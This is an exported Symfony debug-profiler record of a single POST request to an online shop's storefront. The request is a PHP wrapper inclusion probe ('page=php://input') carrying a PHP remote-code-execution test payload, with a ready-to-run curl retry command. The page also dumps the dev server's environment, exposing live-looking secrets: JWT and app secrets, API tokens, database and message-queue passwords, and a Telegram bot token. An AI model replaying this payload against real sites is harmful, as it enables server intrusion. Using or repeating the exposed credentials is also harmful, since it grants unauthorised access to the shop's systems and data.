POST https://aljerom.shop.sportelement.ru/?page=php%3A%2F%2Finput

Response
200 OK
IP
45.138.12.35
Profiled on
Token
79d854

StorefrontController :: index

Request

GET Parameters

Key Value
page 
"php://input"

POST Parameters

Key Value
<?php_echo_'___P2S_RCE_OK_19474d'_substr(hash('sha256','___P2S_RCE_OK_19474d|p2s'),0,16);echo_'___P2S_RCE_OK_19474d_END';?> 
""

Uploaded Files

No uploaded files

Request Attributes

Key Value
_controller 
[
  "App\Shop\Infrastructure\Controller\StorefrontController"
  "index"
]
_controller_attributes 
[]
_request.unique.id 
"01a1b22e-e32a-7c8b-aa2f-755a54413a1c"
_route 
"storefront_entry"
_route_params 
[
  "params" => ""
  "alias" => "aljerom"
]
_stopwatch_token 
"feb314"
alias 
"aljerom"
params 
""
tenant_info 
App\Shared\Domain\ValueObject\TenantInfo {#125
  +tenantId: "aljerom"
}

Request Headers

Header Value
accept-encoding 
"gzip"
content-length 
"123"
content-type 
"application/x-www-form-urlencoded"
host 
"aljerom.shop.sportelement.ru"
user-agent 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
via 
"1.1 Caddy"
x-forwarded-for 
"45.138.12.35"
x-forwarded-host 
"aljerom.shop.sportelement.ru"
x-forwarded-proto 
"https"
x-php-ob-level 
"1"

Request Content

Raw

<?php echo '___P2S_RCE_OK_19474d'.substr(hash('sha256','___P2S_RCE_OK_19474d|p2s'),0,16);echo '___P2S_RCE_OK_19474d_END';?>

Retry Command

curl \
  --compressed \
  --request POST \
  --url 'https://aljerom.shop.sportelement.ru/?page=php%3A%2F%2Finput' \
  --header 'X-Forwarded-Proto: https' \
  --header 'X-Forwarded-Host: aljerom.shop.sportelement.ru' \
  --header 'X-Forwarded-For: 45.138.12.35' \
  --header 'Via: 1.1 Caddy' \
  --header 'Content-Type: application/x-www-form-urlencoded' \
  --header 'Accept-Encoding: gzip' \
  --header 'Content-Length: 123' \
  --header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' \
  --header 'X-Php-Ob-Level: 1' \
  --data-raw '<?php echo '\''___P2S_RCE_OK_19474d'\''.substr(hash('\''sha256'\'','\''___P2S_RCE_OK_19474d|p2s'\''),0,16);echo '\''___P2S_RCE_OK_19474d_END'\'';?>'

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-type 
"text/html; charset=UTF-8"
date 
"Fri, 06 Nov 2026 18:46:19 GMT"
set-cookie 
"cartId=01M6S2XRSCP733GX8CEZ7KY2JE; expires=Sun, 06 Dec 2026 18:46:19 GMT; Max-Age=2592000; path=/; domain=aljerom.shop.sportelement.ru; secure; httponly; samesite=lax"
x-debug-token 
"79d854"
x-robots-tag 
"noindex"

Cookies

Request Cookies

No request cookies

Response Cookies

Key Value
cartId 
Symfony\Component\HttpFoundation\Cookie {#326
  #expire: 1796582779
  #path: "/"
  -sameSite: "lax"
  -secureDefault: true
  #name: "cartId"
  #value: "01M6S2XRSCP733GX8CEZ7KY2JE"
  #domain: "aljerom.shop.sportelement.ru"
  #secure: true
  #httpOnly: true
  -raw: false
  -partitioned: false
}

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

0 Usages
Stateless check enabled

Session not used.

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
API_ACCESS_TOKEN 
"Hfu&92.$2hkIN70%w-kjht&ih(P07t__rOiyw76"
APP_DOMAIN_NAME 
"shop.sportelement.ru"
APP_ENV 
"dev"
APP_JWT_ALGO 
"HS256"
APP_JWT_SECRET 
"j2w3T!?*1t0o5K4e7Nmag5GIc_8pRO9"
APP_SECRET 
"a11abc0faa0cacf1c2bf41221a1ff45042"
APP_TIMEZONE 
"Europe/Moscow"
ASK_TOKEN 
"prod-7f2e8a1c9b4d92njYX"
DATABASE_HOST 
"pg"
DATABASE_NAME 
"shop"
DATABASE_PASSWORD 
"shop24"
DATABASE_URL 
"postgresql://shop:shop24@pg:5432/shop?serverVersion=17&charset=utf8"
DATABASE_USER 
"shop"
FLARE_ON 
"0"
LOCK_DSN 
"flock"
MAILER_DSN 
"null://null"
MESSENGER_TRANSPORT_DSN 
"amqp://rabbit:ubuntu34@rabbitmq:5672/%2f/messages"
PROM_METRICS_DSN 
"apcu"
REDIS_HOST 
"redis"
REDIS_PORT 
"6379"
SHOP_DOMAIN_SUFFIX 
"shop.sportelement.ru"
TELEGRAM_BOT_NAME 
"MetashopServiceBot"
TELEGRAM_BOT_TOKEN 
"8544450084:AAFYVjrmFBn5aE-Au2RVZoSfOXuKyWtKKZo"
TELEGRAM_DSN 
"telegram://8544450084:AAFYVjrmFBn5aE-Au2RVZoSfOXuKyWtKKZo@default?channel=-237741744"

Defined as regular env variables

Key Value
APP_DEBUG 
"1"
APP_PROJECT_DIR 
"/var/www/shop"
APP_RUNTIME 
"Symfony\Component\Runtime\SymfonyRuntime"
APP_RUNTIME_OPTIONS 
[
  "project_dir" => "/var/www/shop"
]
CONTENT_LENGTH 
"123"
CONTENT_TYPE 
"application/x-www-form-urlencoded"
DOCUMENT_ROOT 
"/var/www/shop/public"
DOCUMENT_URI 
"/index.php"
FCGI_ROLE 
"RESPONDER"
FPM_LOG_LEVEL 
"warning"
GATEWAY_INTERFACE 
"CGI/1.1"
GID 
"1000"
GPG_KEYS 
"AFD8691FDAEDF03BDF6E460563F15A9B715376CA 9D7F99A0CB8F05C8A6958D6256A97AF7600A39A6 0616E93D95AF471243E26761770426E17EBBB3DD"
HOME 
"/home/u1000"
HOSTNAME 
"0a9e3b7b0043"
HTTPS 
"on"
HTTP_ACCEPT_ENCODING 
"gzip"
HTTP_CONTENT_LENGTH 
"123"
HTTP_CONTENT_TYPE 
"application/x-www-form-urlencoded"
HTTP_HOST 
"aljerom.shop.sportelement.ru"
HTTP_USER_AGENT 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
HTTP_VIA 
"1.1 Caddy"
HTTP_X_FORWARDED_FOR 
"45.138.12.35"
HTTP_X_FORWARDED_HOST 
"aljerom.shop.sportelement.ru"
HTTP_X_FORWARDED_PROTO 
"https"
MAX_CHILDREN 
"5"
MAX_REQUESTS 
"500"
PATH 
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
PATH_INFO 
""
PHPIZE_DEPS 
"autoconf \t\tdpkg-dev dpkg \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkgconf \t\tre2c"
PHP_ASC_URL 
"https://www.php.net/distributions/php-8.4.27.tar.xz.asc"
PHP_CFLAGS 
"-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
PHP_CPPFLAGS 
"-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
PHP_FPM_PATH 
"/usr/local/etc/php-fpm.conf"
PHP_INI_DIR 
"/usr/local/etc/php"
PHP_LDFLAGS 
"-Wl,-O1 -pie"
PHP_SELF 
"/index.php"
PHP_SHA256 
"dcf93923b0e38e0d5252b25b796520b5a47761a08b3488b6d0b5d1115764d3f0"
PHP_URL 
"https://www.php.net/distributions/php-8.4.27.tar.xz"
PHP_VERSION 
"8.4"
PWD 
"/var/www"
QUERY_STRING 
"page=php://input"
REDIRECT_STATUS 
"200"
REMOTE_ADDR 
"45.138.12.35"
REMOTE_PORT 
""
REQUEST_METHOD 
"POST"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1793990779
REQUEST_TIME_FLOAT 
1793990779.6522
REQUEST_URI 
"/?page=php://input"
SCRIPT_FILENAME 
"/var/www/shop/public/index.php"
SCRIPT_NAME 
"/index.php"
SERVER_ADDR 
"192.168.17.18"
SERVER_NAME 
"aljerom.shop.sportelement.ru"
SERVER_PORT 
"4443"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SOFTWARE 
"Angie/1.12.4"
SHLVL 
"0"
SYMFONY_DOTENV_PATH 
"/var/www/shop/.env"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_SECRET,APP_TIMEZONE,APP_DOMAIN_NAME,SHOP_DOMAIN_SUFFIX,APP_JWT_ALGO,APP_JWT_SECRET,REDIS_HOST,REDIS_PORT,MESSENGER_TRANSPORT_DSN,MAILER_DSN,LOCK_DSN,TELEGRAM_BOT_NAME,TELEGRAM_DSN,PROM_METRICS_DSN,ASK_TOKEN,DATABASE_HOST,DATABASE_NAME,DATABASE_USER,DATABASE_PASSWORD,DATABASE_URL,API_ACCESS_TOKEN,FLARE_ON,TELEGRAM_BOT_TOKEN"
UID 
"1000"
USER 
"u1000"
WEB_GID 
"1000"
WEB_UID 
"1000"
WWW_CONF_PATH 
"/usr/local/etc/php-fpm.d/www.conf"